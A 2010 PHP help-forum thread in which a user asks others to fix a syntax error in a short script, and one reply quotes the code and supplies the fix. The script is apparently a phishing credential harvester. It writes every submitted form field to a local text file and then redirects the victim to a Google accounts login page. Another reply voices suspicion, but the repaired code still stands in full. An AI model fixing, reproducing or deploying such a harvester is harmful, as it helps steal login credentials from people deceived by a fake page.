i need some help

PHP programming forum. Ask questions or help people concerning PHP code. Don't understand a function? Need help implementing a class? Don't understand a class? Here is where to ask. Remember to do your homework!

Moderator: General Moderators

Post Reply
networkzombie
Forum Newbie
Posts: 1
Joined: Thu Jan 21, 2010 12:27 am

i need some help

Post by networkzombie »

I've been trying to fix this but I can't. I would be thankful if somebody can do it for me. There is an error on line 10


<?php
header ('Location: https://www.google.com/accounts/Service ... mplcache=2 ');
$handle = fopen("list.txt.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($ handle, "\r\n");
fclose($handle);
exit;
?>
User avatar
requinix
Spammer :|
Posts: 6617
Joined: Wed Oct 15, 2008 2:35 am
Location: WA, USA

Re: i need some help

Post by requinix »

I'm confused. What is this code supposed to do?

I was asking because I have my suspicions...
Last edited by requinix on Thu Jan 21, 2010 3:08 am, edited 1 time in total.
mothore
Forum Newbie
Posts: 2
Joined: Sun Dec 21, 2008 5:43 pm

Re: i need some help

Post by mothore »

networkzombie wrote:I've been trying to fix this but I can't. I would be thankful if somebody can do it for me. There is an error on line 10


<?php
header ('Location: https://www.google.com/accounts/Service ... mplcache=2 ');
$handle = fopen("list.txt.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($ handle, "\r\n");
fclose($handle);
exit;
?>
Line 10: fwrite($ handle, "\r\n"); <- Should read: fwrite($handle, "\r\n");
Post Reply